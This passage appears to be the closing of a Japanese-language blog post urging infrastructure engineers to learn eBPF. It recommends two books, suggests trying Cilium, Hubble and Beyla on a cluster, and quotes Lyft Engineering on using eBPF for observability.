2026 年のインフラエンジニアが eBPF を知らずに働くことは、2016 年のインフラエンジニアが Docker を知らずに働くことに似てきた。本を 1 冊 (Liz Rice の「Learning eBPF」または Brendan Gregg の「BPF Performance Tools」) 読んで、クラスタ 1 つに Cilium + Hubble + Beyla を敷いてみることから始めよう。

"We instrumented production with eBPF and discovered three latency issues that had been there for two years. We never had to add a single log line." — Lyft Engineering, 2024

参考 / References

Discuss on Twitter • View on GitHub